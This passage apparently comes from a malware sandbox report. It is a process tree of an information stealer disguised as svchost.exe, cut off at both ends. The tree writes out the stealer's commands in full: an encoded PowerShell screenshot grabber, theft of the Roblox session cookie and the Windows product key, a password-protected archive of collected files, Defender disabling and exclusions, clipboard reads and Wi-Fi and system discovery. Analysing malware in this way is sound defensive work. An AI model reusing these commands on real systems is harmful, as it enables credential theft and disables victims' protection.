        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
        49⤵
        
        PID:2976
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        50⤵
        
        PID:2300
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\weamqna0\weamqna0.cmdline"
        51⤵
        
        PID:6224
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES59A6.tmp" "c:\Users\Admin\AppData\Local\Temp\weamqna0\CSC732EB6F3D9BE4DB384FD14985A8520C4.TMP"
        52⤵
        
        PID:6096
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        49⤵
        
        PID:3916
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        50⤵
        
        PID:1576
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        49⤵
        Executes a command shell one-liner
        
        PID:6320
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        50⤵
        
        PID:6640
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        49⤵
        
        PID:2752
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        50⤵
        
        PID:5056
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        49⤵
        
        PID:2892
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        50⤵
        
        PID:4600
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        49⤵
        
        PID:3172
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        50⤵
        
        PID:4360
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "getmac"
        49⤵
        
        PID:7080
        
        C:\Windows\system32\getmac.exe
        
        getmac
        50⤵
        
        PID:5796
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        49⤵
        
        PID:4548
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        50⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2484
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        49⤵
        Executes a command shell one-liner
        
        PID:2564
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        50⤵
        
        PID:3152
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI56522\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\c5aV9.zip" *"
        49⤵
        
        PID:4568
        
        C:\Users\Admin\AppData\Local\Temp\_MEI56522\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI56522\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\c5aV9.zip" *
        50⤵
        
        PID:2072
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
        49⤵
        Executes a command shell one-liner
        
        PID:6916
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        50⤵
        
        PID:3548
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
        49⤵
        
        PID:6424
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        50⤵
        
        PID:4792
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        49⤵
        
        PID:3508
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        50⤵
        
        PID:6704
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
        49⤵
        Executes a command shell one-liner
        
        PID:5048
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        50⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4536
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        49⤵
        Executes a command shell one-liner
        
        PID:6064
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        50⤵
        Detects videocard installed
        
        PID:1896
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
        49⤵
        
        PID:2616
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        50⤵
        
        PID:1120
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        46⤵
        
        PID:4944
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        47⤵
        
        PID:2300
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        45⤵
        
        PID:6668
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        46⤵
        
        PID:6644
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        44⤵
        
        PID:2256
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        45⤵
        
        PID:6400
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        43⤵
        
        PID:6616
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        44⤵
        
        PID:2976
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        42⤵
        
        PID:968
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        43⤵
        
        PID:6032
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        41⤵
        
        PID:5356
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        42⤵
        
        PID:6392
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        40⤵
        
        PID:1508
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        41⤵
        
        PID:1384
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        39⤵
        
        PID:4304
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        40⤵
        
        PID:3456
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svchost.exe'"
        41⤵
        
        PID:2372
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svchost.exe'
        42⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6708
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        41⤵
        
        PID:4720
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        42⤵
        Command and Scripting Interpreter: PowerShell
        Disables one or more Microsoft Defender components
        
        PID:1260
        
        C:\Program Files\Windows Defender\MpCmdRun.exe
        
        "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
        42⤵
        Deletes Windows Defender Definitions
        
        PID:3276
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏.scr'"
        41⤵
        
        PID:6904
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏.scr'
        42⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6736
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        41⤵
        
        PID:6896
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        42⤵
        Discovers running processes
        
        PID:6928
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        41⤵
        
        PID:2856
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        42⤵
        Discovers running processes
        
        PID:7132
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        41⤵
        
        PID:6952
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        42⤵
        
        PID:3136
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        41⤵
        Clipboard Data
        
        PID:5132
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        42⤵
        Clipboard Data
        
        PID:6576
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        41⤵
        Executes a command shell one-liner
        
        PID:6728
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        42⤵
        
        PID:5076
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        41⤵
        Executes a command shell one-liner
        
        PID:5332
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        42⤵
        Discovers running processes
        
        PID:6384
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
        41⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:7136
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profile
        42⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:6984
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        41⤵
        
        PID:6132
        
        C:\Windows\system32\systeminfo.exe
        
        systeminfo
        42⤵
        Gathers system information
        
        PID:4576
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4A